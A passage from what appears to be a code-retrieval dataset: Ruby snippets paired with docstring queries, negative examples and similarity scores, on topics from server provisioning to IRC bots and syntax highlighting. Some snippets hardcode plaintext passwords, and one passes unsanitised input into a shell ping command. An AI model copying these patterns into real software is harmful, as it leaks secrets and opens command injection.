populate_meta([s], 'new')\n save_server_in_context([s])\n \n log_output(\"Server '#{s.name}' #{s.identity} started with public ip '#{s.public_ip_address}' and private ip '#{private_address(s)}'\", :info)\n \n start = Time.now\n msg = \"Initial setup for server '#{s.name}' #{s.identity} on '#{s.public_ip_address}'\"\n Maestro.log.debug msg\n write_output(\"#{msg}...\")\n begin\n setup_server(s)\n Maestro.log.debug \"Finished initial setup for server '#{s.name}' #{s.identity} on '#{s.public_ip_address}' (#{Time.now - start}s)\"\n write_output(\"done (#{Time.now - start}s)\\n\")\n rescue Net::SSH::AuthenticationFailed => e\n log_output(\"Failed to setup server '#{s.name}' #{s.identity} on '#{s.public_ip_address}' (#{Time.now - start}s). Authentication failed for user '#{s.username}'\")\n return nil\n end\n \n # provision through ssh\n start = Time.now\n server_errors = provision_execute(s, commands)\n unless server_errors.empty?\n log_output(\"Server '#{s.name}' #{s.identity} failed to provision\", :info)\n write_output(server_errors.join(\"\\n\"))\n return nil\n end\n log_output(\"Server '#{s.name}' #{s.identity} ssh provisioned in #{Time.now-start}s\", :info)\n \n return s\n end", "def work\n \n # First we need to open the session.\n # I create a helper because we will have to\n # (dis)connect several times during this task.\n connect\n\n # Set terminal length to 0 otherwise too long outputs will cause\n # Net::Telnet to timeout while waiting for the prompt.\n @session.privileged { set 'terminal length', 0 }\n\n # Check ip http secure-server\n https = /^ip http secure-server/.match(@session.get('run | i ip http'))\n \n # Get hostname from show version.\n match = /(?<hostname>.+)\\s+uptime.+/.match(@session.get('version'))\n\n # Check if we found the hostname\n # and convert it if needed.\n # `match['hostname'].downcase!` return nil\n # if the hostname is already in lowercase.\n if !https && match && match['hostname'].downcase!\n \n # If we are connected using SSH we enable Telnet\n # in case bad crypto key prevent us from logging.\n enable_telnet if ssh?\n \n # Convert the hostname\n info \"Converting #{ match['hostname'] } => #{ match['hostname'].downcase }\"\n @session.configuration(:enforce_save) { set 'hostname', match['hostname'].downcase }\n \n # If SSH is enabled regenerate crypto key\n # and verify SSH is still working.\n if ssh?\n\n # Delete the existing crypto key\n # then regenerate it.\n regenerate_crypto\n \n # Close the session and reopen it\n # to see if we are still able to\n # connect via SSH.\n info 'Verifying SSH is still working'\n reconnect\n \n # If SSH is still working we can disable Telnet.\n if ssh?\n info 'Hooray SSH is still working !'\n disable_telnet\n else warn 'SSH is not working :('\n end\n \n end\n\n elsif match && !match['hostname'].downcase! then info 'Nothing to do'\n else error 'Unable to find hostname'; end\n \n @session.close\n end", "def do_hold(last_check)\n if last_check.off?\n # If the status report says the Equipment is offline, try\n # resending the Task. If that doesn't work, fail and punt to the launcher.\n hold_failure! unless send_to_rhizome\n end\n end", "def check_monitoring\n @servers.each do |server|\n server.settings\n response = nil\n count = 0\n until response || count > 20 do\n begin\n response = server.monitoring\n rescue\n response = nil\n count += 1\n sleep 10\n end\n end\n raise \"Fatal: Failed to verify that monitoring is operational\" unless response\n#TODO: pass in some list of plugin info to check multiple values. For now just\n# hardcoding the cpu check\n sleep 60 # This is to allow monitoring data to accumulate\n monitor=server.get_sketchy_data({'start'=>-60,'end'=>-20,'plugin_name'=>\"cpu-0\",'plugin_type'=>\"cpu-idle\"})\n idle_values = monitor['data']['value']\n raise \"No cpu idle data\" unless idle_values.length > 0\n raise \"No idle time\" unless idle_values[0] > 0\n puts \"Monitoring is OK for #{server.nickname}\"\n end\n end", "def offline\n end", "def out_begin_connection(event)\n pass(@password) if @password\n user(event.username, '0.0.0.0', event.address, event.realname)\n nick(@nicknames[0])\n end", "def pbTrainerPC\n Kernel.pbMessage(_INTL(\"\\\\se[computeropen]{1} booted up the PC.\",$Trainer.name))\n pbTrainerPCMenu\n pbSEPlay(\"computerclose\")\n $PokemonTemp.dependentEvents.refresh_sprite\nend", "def ctcp_listen(m)\n return unless @has_oauth\n return unless m.action?\n return unless @registry[m.sourcenick + \"_actions\"]\n update_status(m, :status => m.message, :notify => true)\n end", "def broadcast_state(nick, state)\n #TODO: write function\n #get users clist, get the contacts clists and check their authorization to get the state\n #if its fine -> send the message to their queues\n\n return true\nend", "def sync_nics(machine)\n @logger.info \"Syncing nics for #{machine.name}...\"\n machine.nics.each do |nic|\n begin\n nic.remote_id ? update_nic(nic) : create_nic(nic)\n rescue StandardError => e\n message = e.is_a?(RestClient::Exception) ? e.response : e\n raise Exceptions::OnPremiseException, message\n end\n end\n end", "def notify_all_agents_of_call(from)\n if still_ringing?(from)\n # dial all on_call users\n User.all.each do |agent|\n if agent.on_call?\n dial_user(from, agent, {send_ping: true})\n end\n end\n end\n end", "def on_appear\n @update = true\n unless @checkingCheckins\n update_checkins\n end\n unless @pinging\n location_ping\n end\n @frequency = 20\n end", "def run_reboot_checks\n # one simple check we can do is the backup. Backup can fail if anything is amiss\n [s_one, s_two].each do |server|\n run_script(\"backup\", server)\n end\n end", "def notify_ready\n notify(\"READY=1\")\n end", "def check_idle_servers!\n\t\tmust_not_be_in_synchronize_block\n\t\t@lock.synchronize do\n\t\t\t@next_cleaning_time = Time.now - 60 * 60\n\t\t\t@cond.signal\n\t\tend\n\tend", "def update_status!\n status = :online\n\n if !is_port_open?(@address, @port)\n status = :offline\n end\n\n if status != @status\n time = Time.now\n if status == :offline\n puts \"Server is currently offline\"\n else\n puts \"Server is currently online\"\n end\n\n @status = status\n if @status == :online\n @last_status_change = @last_launch\n else\n @last_status_change = time\n end\n end\n end", "def ntfy_state_logged_on\n # subscribe to pending game request list\n cmd_to_send = build_cmd(:pendig_games_req2, \"\")\n send_data_to_server(cmd_to_send)\n @nal_gfx_remotegame = nil\n end", "def onboard\n validate_params\n @user = current_user\n set_new_permissions\n @user.update(real_name: sanitized_real_name,\n email: params[:email],\n permissions: @permissions,\n onboarded: true)\n CheckWikiEmailWorker.check(user: @user)\n head :no_content\n end", "def event_incoming_server_control(client, cmd, *args)\n whitelist = ['nick', 'logon', 'ping']\n cmd.replace \"(no username)\" unless client.name or whitelist.include? cmd\nend", "def checkin\n if self.current_user == nil\n redirect_to \"/account/login\"\n end\n @workout = Workout.new\n @workout.workout_date = Time.now.to_date #.strftime(\"%x\")\n end", "def post_init\n send_message :PASS, @settings[:server_password] if @settings[:server_password]\n send_message :USER, @settings[:ident], \"0\", \"0\", @settings[:realname]\n send_message :NICK, @settings[:nick]\n end", "def ping\n end", "def renickify \n @bot.msg(\"nickserv\", \"ghost #{bot.nick} pearljam\")\n @bot.msg(\"nickserv\", \"identify pearljam\")\n @bot.nick = 'infobot-clone'\n return \"Renickifying!\"\n end", "def run\r\n\r\n #############\r\n # INIT \r\n begin\r\n $ts = Teamspeak::Client.new IP, 10011\r\n $ts.login(LOGIN, PW)\r\n $ts.command('use', port: 10045)\r\n puts 'Connection successful!'\r\n rescue\r\n puts '[ERROR] problem connecting to server!'\r\n raise 'use'\r\n end\r\n begin \r\n bot_id = $ts.command('clientgetids', cluid: 'oszwEVqrBO1dCX89xIK95x6bHXE=')\r\n $ts.command('clientupdate', clid: bot_id['clid'], client_nickname: NAME)\r\n puts 'Clientupdate successful!'\r\n rescue\r\n puts '[ERROR] problem with \\'clientgetids\\' and/or clientupdate!'\r\n raise 'clientupdate'\r\n end\r\n puts 'INIT successful!'\r\n #############\r\n \r\n loop do\r\n puts 'running check...'\r\n check\r\n sleep $sleep_time\r\n \r\n# #$sleep_time = 60 #debug\r\n# puts 'next check in ' + ($sleep_time / 60.0).to_s + 'min.'\r\n# \r\n# #for stopping loop\r\n# for t in 1..($sleep_time / 30)\r\n# ready_fds = select [ $stdin ], [], [], 30\r\n# s = ready_fds.first.first.gets unless ready_fds.nil?\r\n# if s != nil\r\n# #$ts.disconnect\r\n# raise 'exit' if s.chomp == 'exit'\r\n# raise 'inspect' if s.chomp == 'inspect'\r\n# break if s == \"\\n\" \r\n# end\r\n# \r\n# if t%2 == 0 # once every minute\r\n# begin\r\n# $ts.command('whoami')\r\n# print '.'\r\n# rescue\r\n# sleep 5\r\n# begin\r\n# ts.disconnect\r\n# ts.login(LOGIN, PW)\r\n# bot_id = $ts.command('clientgetids', cluid: 'oszwEVqrBO1dCX89xIK95x6bHXE=')\r\n# $ts.command('clientupdate', clid: bot_id['clid'], client_nickname: NAME)\r\n# print 'o'\r\n# rescue\r\n# print 'x'\r\n# end\r\n# end\r\n# end\r\n# end\r\n# puts\r\n end\r\nend", "def perform_work\n object_client.notify_goobi\n end", "def broadcast\n @monitor.__send__(:mon_check_owner)\n @cond.broadcast\n end", "def ping!\n send_message [IGNORE, 4, \"ping\"].pack(\"cNA4\")\n end", "def notification_bell_click_accept(server, driver)\n begin\n sleep 2\n driver.find_element(:xpath, \"//button[@type='submit']\").click\n sleep 2\n rescue Exception => e\n puts __FILE__\n puts caller_locations\n ob=Pause::PauseScript.new\n ob.pause_script_exception\n puts e.message\n #puts \"Rescue\"\n end\n\n end", "def send_status_notification\n message = case @state\n when :hungry then \"I'm hungry!!!\"\n when :sick then \"I'm not feeling so well... :(\"\n when :playful then 'Come play with me!'\n end\n\n DesktopNotifications.notify(message) unless message.nil?\n end", "def snow_emergency_in_effect\n ret = false\n\n imap = Net::IMAP.new('imap.gmail.com', { :port => 993, :ssl => true })\n imap.login('canhazparking', 'yesIcanz!');\n imap.select('INBOX')\n imap.search([\"SUBJECT\", \"Snow emergency\", \"SENTSINCE\", (Time.now - 1).strftime(\"%d-%b-%Y\")]).each do |msgid|\n ret = true\n break\n end\n\n imap.logout()\n imap.disconnect()\n\n return ret\nend", "def notify_ready\n if state == :smoking\n puts \"#{name} says: I'm good on smokes, thanks\"\n else\n transition :procuring\n end\n end", "def check_monitoring\n @servers.each do |server|\n obj_behavior(server, :settings)\n response = nil\n count = 0\n until response || count > 20 do\n begin\n response = obj_behavior(server, :monitoring)\n rescue\n response = nil\n count += 1\n sleep 10\n end\n end\n raise \"Fatal: Failed to verify that monitoring is operational\" unless response\n#TODO: pass in some list of plugin info to check multiple values. For now just\n# hardcoding the cpu check\n unless server.multicloud\n sleep 180 # This is to allow monitoring data to accumulate\n monitor = obj_behavior(server, :get_sketchy_data, {'start' => -60,\n 'end' => -20,\n 'plugin_name' => \"cpu-0\",\n 'plugin_type' => \"cpu-idle\"})\n idle_values = monitor['data']['value']\n raise \"No cpu idle data\" unless idle_values.length > 0\n raise \"CPU idle time is < 0: #{idle_values}\" unless idle_values[0] > 0\n puts \"Monitoring is OK for #{server.nickname}\"\n end\n end\n end", "def check_in\n @status = 'available'\n return @borrower\n @borrower = []\n end", "def mark!(reason)\n @session.nickserv.mark(self.name, :on, reason)\n end", "def send_ready_notification\n\n end", "def notify_all_players(command, args)\n client_socket.game.each_player do |player|\n player.send_command(command, *args)\n end\n end", "def notify_game_change\n connection.execute \"NOTIFY #{channel}, #{connection.quote self.to_s}\"\n end", "def call\n\n get_environment # gets and sets some environmental variables that we will need\n greet_user\n scrape_jobs # scrapes the 50 most recent job listings to start off\n\n ret_value = \"\"\n\n until ret_value == \"exit\" || ret_value == \"00\" # loop program until return value is one of the exit commands\n ret_value = run # store run methods return value in ret_value so we can check it for exit commands\n end\n\n farewell_message\n end", "def notify\n {\n }\n end", "def notify\n {\n }\n end", "def ping; end", "def notify(message)\n client.register(nick)\n client.notify(message)\n client.quit\n\n puts \"New message has been notified on IRC: #{message}\"\n end", "def pin_check\n command = User::PinCheckCommand.new(params)\n run(command)\n end", "def sync_powered_off_machines\n @stats[:powered_off_machines].each do |machine|\n begin\n machine.remote_id ? update_machine(machine) : create_machine(machine)\n rescue StandardError => e\n message = e.is_a?(RestClient::Exception) ? e.response : e\n raise Exceptions::OnPremiseException, message\n end\n end\n end", "def finish_game\n\t\tif @check_mate_on == true\n\t\t\tputs \"\\n#{@current_player.name} (#{@current_player.color}) is in CHECKMATE !!!\\n#{@opponent_player.name} (#{@opponent_player.color})WON the game !!!\"\n\t\t\texit\n\t\tend\n\tend", "def registered_on_mxit_money?(connection = MxitMoneyApi.connect(ENV['MXIT_MONEY_API_KEY']))\n begin\n if connection\n result = connection.user_info(:id => uid)\n result[:is_registered]\n end\n rescue => e\n Airbrake.notify_or_ignore(e,:parameters => {:user => self, :connection => connection})\n false\n end\n end", "def notify_by_server server_id, server_info, module_id, msg\n return if @state != :state_started\n if !server = @servers[server_id]\n return false\n end\n if Utils.compare_server server[:server_info], server_info\n send_msg_to_monitor server[:ws], nil, module_id, msg\n else\n @slaves_map[server_id].each { |server|\n if Utils.compare_server server[:server_info], server_info\n send_msg_to_monitor server[:ws], nil, module_id, msg\n break\n end\n }\n end\n return true\n end", "def game_start_cm\n puts 'Computer is attempting to break your code!'\n i = 0\n while @winner == false\n print 'Computer guess '\n print i + 1\n print '. '\n print ' Guesses remaining: '\n print 30 - i\n puts ' '\n sleep 0.5\n computer_guess\n red_peg_check\n white_peg_check\n red_to_white_peg\n winner_check\n i += 1\n computer_game_over(i)\n end\n end", "def alert_redmine_users(m, params)\n begin\n \tcertificate = redmine_check_auth(m)\n\t\tif ! certificate\n\t\t\t# ne rien faire, l'utilisateur n'est pas connecté\n\t\telse\n\t\t\tif m.source.botuser.owner?\n\t\t\t\tm.reply \"#{Underline}#{@redmine_l_rightnow}, \" + m.sourcenick + \", #{@redmine_l_usersthatdontruntasksare}:#{Underline}\"\n\n\t\t\t\t@registry.keys.each do |key_data|\n\t\t\t\t\t# utilisateurs connectés\n\t\t\t\t\tif key_data.include? \"_auth\"\n\t\t\t\t\t\t# recuperons les données de l'utilisateur\n\t\t\t\t\t\tauthstored = @registry[key_data]\n\t\t\t\t\t\tnickname = key_data.gsub('_auth', '')\n\t\t\t\t\t\n\t\t\t\t\t\t# Si l'utilisateur n'a pas de taches, on lui indique par message\n\t\t\t\t\t\tif ! @registry.has_key? authstored[0].username\n\t\t\t\t\t\t\t# on affiche le nom de l'utilisateur pour l'administrateur\n\t\t\t\t\t\t\tm.reply \"#{Bold}#{nickname} #{@redmine_l_aka} #{authstored[0].username}#{Bold} - #{@redmine_l_notaskrunning}\"\n\t\t\t\t\t\t\t# on envoie le message à l'utilisateur\n\t\t\t\t\t\t\t@bot.say nickname , \"#{Bold}#{nickname}#{Bold}, #{@redmine_l_youdidnotlaunchtask}\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tm.reply \"#{@redmine_l_youhavenottherights}\"\n\t\t\tend\n\t\tend\n rescue Exception => e\n m.reply e.message\n m.reply e.backtrace.inspect\n end\n end", "def pushover_notify(message)\n\t\t\t\t@pushover_req.set_form_data({\n\t\t\t\t\t:token => @app_key,\n\t\t\t\t\t:user => @user_key,\n\t\t\t\t\t:message => message\n\t\t\t\t})\n\t\t\t\t@pushover_res.start {|http| http.request(@pushover_req) }\n\t\t\tend", "def switch_serve(server)\n\t\t\tif @current_game.check_status == \"#{@player1} wins\" || @current_game.check_status == \"#{@player2} wins\"\n\t\t\t\tself.new_game\n\t\t\telse\n\t\t\t\tif $server == @player1\n\t\t\t\t\t$server = @player2\n\t\t\t\t\tself.hitter1\n\t\t\n\t\t\t\telse\n\t\t\t\t\t$server = @player1\n\t\t\t\t\tself.hitter2\n\t\t\t\tend\n\t\t\t\t\tnew_serve($server)\n\t\t\tend\n\t\tend", "def enter_pending; end", "def broadcast\n @monitor.mon_check_owner\n @cond.broadcast\n end", "def admin_open_request_success(place) #when the admin user makes an open request successfully\n self.message = \"SUCCESS ! You requested to open -> #{place.nickname}\"\n end", "def notify(success)\n message = if success\n \"Successfully upgraded all the things! (#{Time.now.strftime(\"%H:%M, %-d %b\")})\"\n else\n 'Failed to upgrade all the things :('\n end\n osx_notify message\n success && $stderr.tty? && lol_notify(message) || $stderr.puts(message)\n end", "def sync_with_remote_server\n begin\n if recently_created? || remote_id.blank?\n # create_on_remote_server\n Delayed::Job.enqueue(VrboUpdater.new(self.id, :action => :create))\n else\n # update_on_remote_server\n Delayed::Job.enqueue(VrboUpdater.new(self.id, :action => :update))\n end\n rescue VrboProxy::Error => e\n errors.add(:save_on_remote_server, e.to_s)\n false\n end\n end", "def checkout\n begin\n result = MavensMate.checkout_project(params)\n return if result.nil?\n kill_server unless ! result[:is_success]\n MavensMate.close_all_html_windows unless ! result[:is_success] \n render \"_project_new_result\", :locals => { :message => result[:error_message], :success => result[:is_success] } \n rescue Exception => e\n TextMate::UI.alert(:warning, \"MavensMate\", e.message)\n end\n end", "def post_init\n #send_data \"220 #{get_server_greeting}\\r\\n\" (ORIGINAL)\n #(EM.spawn {|x| x.send_data \"220 #{x.get_server_greeting}\\r\\n\"}).notify(self)\n (EM.spawn {|x| x.send_server_greeting}).notify(self)\n end", "def remotely_saved\n cards.each(&:remotely_saved)\n # if we implement Dirty in wallet here is where we will update\n # changes_applied\n self\n end", "def computer_exists?(fwip)\n system(\"ping -c1 -w1 #{fwip}\")\nend", "def second_computer\n \nend", "def check_imap\n puts WmailImapUtils.current_imap.to_s + '##############'\n puts WmailImapUtils.set_connection.to_s\n\n #redirect to login account if not connected\n if not WmailImapUtils.set_connection\n redirect_to authenticate_wmail_accounts_path(:redirect => params),\n :alert => 'Please login to your account'\n end\n end" ]
[ "0.5600158", "0.55769444", "0.54527855", "0.5397629", "0.5348797", "0.52700305", "0.5237163", "0.5236375", "0.5225316", "0.51849437", "0.5169335", "0.51355827", "0.5133926", "0.51307064", "0.51232654", "0.51170665", "0.51157415", "0.510627", "0.5102861", "0.50992143", "0.50641763", "0.50552547", "0.5014541", "0.5014541", "0.50120246", "0.4995857", "0.49956292", "0.4987051", "0.49757144", "0.4960351", "0.49599668", "0.49579027", "0.49470738", "0.49350485", "0.49283427", "0.4924112", "0.49224132", "0.4921886", "0.49197915", "0.490012", "0.48958766", "0.48880157", "0.4877651", "0.48712713", "0.4859458", "0.48490655", "0.48412803", "0.48405445", "0.48268986", "0.48243716", "0.48095366", "0.48055047", "0.47984597", "0.47900093", "0.47893968", "0.47805095", "0.4777949", "0.4775402", "0.47739834", "0.4763359", "0.47584084", "0.47580096", "0.4749192", "0.47455612", "0.47453925", "0.47413427", "0.47402897", "0.47332948", "0.47256204", "0.47245958", "0.47241426", "0.4713482", "0.47085965", "0.47081503", "0.46983784", "0.46884677", "0.46854576", "0.46854576", "0.46848577", "0.46844766", "0.467519", "0.4670116", "0.46699178", "0.46647504", "0.46610323", "0.4656846", "0.4656711", "0.46511918", "0.46506107", "0.46496475", "0.46435687", "0.46414122", "0.4638913", "0.46296906", "0.46290943", "0.46286166", "0.4627628", "0.4626102", "0.46251014", "0.46248078" ]
0.62869346
0
Highlight some text with a given lexer and formatter.
def highlight(text, lexer, formatter, &b) lexer = Lexer.find(lexer) unless lexer.respond_to? :lex raise "unknown lexer #{lexer}" unless lexer # XXX: maybe opal bug, `string.respond_to? :format` returns true in Opal. # formatter = Formatter.find(formatter) unless formatter.respond_to? :format formatter = Formatter.find(formatter) raise "unknown formatter #{formatter}" unless formatter formatter.format(lexer.lex(text), &b) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def highlight(text, lexer, formatter, &b)\n lexer = Lexer.find(lexer) unless lexer.respond_to? :lex\n raise \"unknown lexer #{lexer}\" unless lexer\n\n formatter = Formatter.find(formatter) unless formatter.respond_to? :format\n raise \"unknown formatter #{formatter}\" unless formatter\n\n formatter.format(lexer.lex(text), &b)\n end", "def highlight(text, lexer, formatter)\n lexer = Lexer.find(lexer) unless lexer.respond_to?(:lex)\n fail \"unknown lexer #{lexer}\" unless lexer\n\n formatter = Formatter.find(formatter) unless formatter.respond_to?(:render)\n fail \"unknown formatter #{formatter}\" unless formatter\n\n formatter.render(lexer.lex(text))\n end", "def highlight(key, content, language, formatter, options)\n require 'pygments'\n options = JSON.parse('{' + options.to_s + '}')\n if options['linenos'] && formatter == 'html'\n # Inline numbers look much better in HTML but are invalid in LaTeX.\n options['linenos'] = 'inline'\n end\n if (lines = options['hl_lines'])\n content_lines = content.split(\"\\n\")\n if lines.max > content_lines.length\n err = \"\\nHighlight line(s) out of range: #{lines.inspect}\\n\"\n err += content\n raise err\n end\n end\n highlight_cache[key] ||= Pygments.highlight(content, lexer: language,\n formatter: formatter,\n options: options)\n end", "def highlight(text, options = {})\n options = translate(DEFAULT.merge(options))\n args = options.values_at(:output, :syntax, :line_numbers, :style, :headers)\n \n Uv.parse(text, *args)\n rescue => ex\n \"<pre>#{Rack::Utils.escape(text)}</pre>\"\n end", "def highlight(code, lang, options = T.unsafe(nil), format = T.unsafe(nil)); end", "def highlight_by_language(text, language)\n ::CodeRay.scan(text, language).html(:line_numbers => :inline, :wrap => :span)\n end", "def highlight(code, lang, options = T.unsafe(nil)); end", "def highlighter=(_arg0); end", "def highlighter; end", "def highlighter; end", "def highlight text\n color_code = 7\n \"\\e[#{color_code}m#{text}\\e[0m\"\nend", "def highlight_code(text, lang, type, opts = T.unsafe(nil)); end", "def pygmentize(file_name, code, lexer = nil)\n if lexer.present?\n Gitlab::Highlight.highlight(file_name, code)\n else\n \"<pre>#{Rack::Utils.escape_html(code)}</pre>\"\n end\n end", "def highlights; end", "def highlights; end", "def highlights; end", "def syntax_highlight(html)\n line_numbers = config.line_numbers ? :table : nil\n opts = { css: :style, wrap: nil, line_numbers: line_numbers }\n html.gsub(/\\<code class=\"(.+?)\"\\>(.+?)\\<\\/code\\>/m) do\n lang, code = $1, $2\n code = CGI.unescapeHTML code\n CodeRay.scan(code, lang).html opts\n end\n end", "def block_code(code, language)\n # highlight some code with a given language lexer \n # and formatter: html or terminal256 \n # and block if you want to stream chunks\n # github.com/jayferd/rouge/blob/master/lib/rouge.rb#L17\n Rouge.highlight(code, language || 'text', 'html') \n # watch out you need to provide 'text' as a default, \n # because when you not provide language in Markdown \n # you will get error: <RuntimeError: unknown lexer >\n end", "def highlight(code, options = T.unsafe(nil)); end", "def highlight\n return unless Config.live_highlight\n\n code = CodeRay.scan(line, :ruby).html\n\n cursor = text_cursor\n\n pos = cursor.position\n cursor.move_position Qt::TextCursor::End\n cursor.set_position @min_position, Qt::TextCursor::KeepAnchor\n cursor.remove_selected_text\n\n cursor.insert_html \"<code>#{code}</code>\"\n cursor.position = pos\n\n self.text_cursor = cursor\n end", "def highlight(*args)\n options = args.last.kind_of?(Hash) ? args.pop : {}\n fields = []\n args.each { |field_name| fields.concat(@setup.text_fields(field_name)) }\n\n @query.set_highlight(fields, options)\n end", "def highlight!\r\n highlights_on proc { true }\r\n end", "def render_code(code)\n render_block(Pygments.highlight(code, formatter: 'terminal256', lexer: 'ruby', options: {style: 'bw'}))\nend", "def highlight_codes\n #@content.gsub!(/%(.*?){(.*?)}%/m) do # %{ some code }%\n @content.gsub!(/^```(.*?)\\n(.*?)\\n```/m) do # github like: http://github.github.com/github-flavored-markdown/\n lang = :text\n lang = $1 if $1 != \"\"\n Albino.colorize($2, lang)\n end\n end", "def html_highlight\n language, code = *values\n require 'coderay'\n language = 'nitro_xhtml' if language == 'ezamar'\n\n case language\n when *%w[ruby c delphi html nitro_xhtml plaintext rhtml xml]\n tokens = CodeRay.scan(code, language)\n html = tokens.html(:wrap => :div)\n when *%w[diff]\n require 'uv'\n Uv.parse(code, output = 'xhtml', syntax_name = language, line_numbers = false, render_style = 'amy', headers = false)\n else\n code = language if not code or code.strip.empty?\n html = tag(:pre, code)\n end\n end", "def html_syntax_highlight(source, type = T.unsafe(nil)); end", "def syntax_highlighter(html)\n doc = Nokogiri::HTML(html)\n doc.search(\"//pre[@lang]\").each do |pre|\n pre.replace Albino.colorize(pre.text.rstrip, pre[:lang])\n end\n doc.to_s\n end", "def markup text\n document = parse text\n\n document.accept formatter\n end", "def highlight_code(options={})\n require 'uv'\n\n wrap_with = options[:wrap_with] || ['','']\n text = @modified_string\n\n languages_syntax_list = File.readlines(\n File.expand_path(File.dirname(__FILE__) + '/../config/languages_syntax_list')\n ).map { |l| l.chomp }\n\n text.gsub!(/<code(\\s*?lang=[\"']?(.*?)[\"']?)?>(.*?)<\\/code>/) do\n if languages_syntax_list.include?($2)\n lang = $2\n else\n lang = 'ruby'\n end\n unless $3.blank?\n result = Uv.parse($3.gsub('<br/>', \"\\n\").gsub('&lt;', '<').gsub('&gt;', '>').gsub('&quot;', '\"'), 'xhtml', lang, false, 'active4d')\n \"#{wrap_with[0].gsub('$lang', lang)}#{result}#{wrap_with[1]}\"\n end\n end\n\n # TODO: split string longer than 80 characters\n\n @modified_string = text\n self\n\n end", "def highlight(hl)\n raise \"highlight requires a String.\" unless hl.is_a? String\n @highlight = hl\n self\n end", "def highlight_file(filename, options = T.unsafe(nil), format = T.unsafe(nil)); end", "def highlighter_prefix=(_arg0); end", "def highlight(text, phrases, *args)\n options = extract_options_from_args!(args) || {}\n unless args.empty?\n options[:highlighter] = args[0] || '<strong class=\"highlight\">\\1</strong>'\n end\n options.reverse_merge!(:highlighter => '<strong class=\"highlight\">\\1</strong>')\n\n if text.blank? || phrases.blank?\n text\n else\n match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')\n text.gsub(/(#{match})/i, options[:highlighter])\n end\n end", "def highlighter_prefix; end", "def highlighter_prefix; end", "def assign_highlighter_options!; end", "def goHighlight (h, s)\n # if (!h) return\n # hLen = h.size\n #\n # for (var i=0; i<hLen; i++) {\n # var para = this.paragraphList().list[h[i]-1] || false;\n # if (para) {\n # var sntns = s[h[i].toString()] || false;\n # var multi = !sntns || sntns.length==0; #// Individual sentences, or whole paragraphy?\n # var lines = this.getSentences(para);\n # var jLen = lines.length;\n #\n # /* First pass. Add SPAN tags to all lines. */\n # for (var j=0; j<jLen; j++) {\n # var k = (multi) ? j : sntns[j]-1;\n # lines[j] = \"<span data-num='\" + (j+1) + \"'>\" + lines[j] + \"</span>\";\n # # // lines[j] = \"<a name='\" + (j+1) + \"' /><span data-num='\" + (j+1) + \"'>\" + lines[j] + \"</span>\";\n # }\n #\n # /* Second pass, update span to Highlight selected lines */\n # for (var j=0; j<jLen; j++) {\n # var k = (multi) ? j : sntns[j]-1;\n # var line = lines[k] || false;\n # if (line) {\n # lines[k] = lines[k].replace(\"<span\", \"<span class='\" + this.classHighlight + \"'\");\n # # // trying to create absolute links for sentences here\n # # // lines[k] = lines[k].replace(\"<span\", \"<a name='\" + + \"'><span class='\" + this.classHighlight + \"'\");\n # }\n # }\n #\n # para.setAttribute(\"data-sentences\", jLen);\n # para.innerHTML = lines.join('. ').replace(/__DOT__/g, \".\").replace(/<\\/span>\\./g, \".<\\/span>\");\n # para.addClassName('emReady'); /* Mark the paragraph as having SPANs */\n # }\n # }\n end", "def enable_syntax_highlighting_as_you_type\n raise 'Syntax highlighting only supported on 1.9.3+' unless RUBY_VERSION >= '1.9.3'\n\n # Use coolline with CodeRay for syntax highlighting as you type.\n # Only works on >= 1.9.3 because coolline depends on io/console.\n\n require 'coolline'\n require 'coderay'\n\n Pry.config.input = Coolline.new do |c|\n c.transform_proc = proc do\n CodeRay.scan(c.line, :ruby).term\n end\n\n c.completion_proc = proc do\n word = c.completed_word\n Object.constants.map(&:to_s).select { |w| w.start_with? word }\n end\n end\n end", "def parse(text)\n text.split(/(<code.*?>.*?<\\/code>)/m).inject(\"\") do |result, piece|\n if piece =~ /^<code/\n result << highlight(piece.gsub(/<code.*?>|<\\/code>/, \"\"), parse_lang(piece)).chomp\n else\n result << format(piece)\n end\n end\n end", "def highlight_code(code)\n tokens = Ripper.lex(code).map do |(_position, type, content, _state)|\n case type\n when :on_nl, :on_sp, :on_ignored_nl\n content\n else\n tag.span(content, class: type.to_s.sub(\"on_\", \"ruby-\").dasherize)\n end\n end\n safe_join(tokens)\n end", "def extract_highlights_from(code, options)\n code.gsub!(%r[\\{% highlight (.+) %\\}]) do\n enumerable = eval($1.strip)\n enumerable = (Enumerable === enumerable)? enumerable : nil\n options.merge!({:highlight_lines => enumerable}) if enumerable\n ''\n end\n [code.strip, options]\n end", "def colorize(code, lang)\n if can_pygmentize?\n Albino.colorize(code, lang)\n else\n require 'net/http'\n Net::HTTP.post_form(URI.parse('http://pygments.appspot.com/'),\n {'code'=>code, 'lang'=>lang}).body\n end\n end", "def highlighter=(hl)\n $VERBOSE = false\n @@highlighter = case hl\n when Text::Highlighter\n hl\n when Text::Highlighter::NONE, \"NONE\", nil\n Text::NonHighlighter.new # unless @@highlighter.kind_of?(Text::NonHighlighter)\n when Text::Highlighter::HTML, \"HTML\"\n Text::HTMLHighlighter.new # unless @@highlighter.kind_of?(Text::HTMLHighlighter)\n when Text::Highlighter::ANSI, \"ANSI\"\n Text::ANSIHighlighter.new\n else\n Text::NonHighlighter.new\n end\n \n end", "def highlight_text(text, terms, start_tag)\r\n\t\t\tquery_params = %(text=#{text}&highlight_expression=#{terms}&start_tag=#{start_tag}).tr(\" \", \"+\")\r\n\t\t\turl = construct_target_url(:highlighttext, query_params)\r\n\t\t\t\r\n\t\t\tURI.parse(url).read\r\n\t\tend", "def highlight locator\r\n command 'highlight', locator\r\n end", "def formatter fmt\n @formatter = fmt\n end", "def highlight(blocks)\n puts \"Highlight code now\"\n\n ret = []\n for block in blocks\n doc, code = block\n\n # Process the code\n code = code.join(\"\\n\")\n unless code =~ /\\A\\s*\\z/\n code = Pygmentize.process(code, @options[:language])\n end\n\n doc = @md.render(doc.join(\"\\n\"))\n\n ret << {\n doc: doc,\n code: code\n }\n end\n\n puts \"Hello\"\n\n ret\n end", "def highlight(keyword)\n Rainbow.enabled = true\n regexp = Regexp.new(keyword,@options['ignore-case'] ? Regexp::IGNORECASE : nil)\n ARGF.each_line do |line|\n puts highlight_matches(regexp,line)\n end\n end", "def highlight(query, options = {})\n options = { :num_excerpts => 2, :pre_tag => '<em>', :post_tag => '</em>' }.update(options)\n i = self.class.ferret_index\n highlights = []\n i.synchronize do\n doc_num = self.document_number\n if options[:field]\n highlights << i.highlight(query, doc_num, options)\n 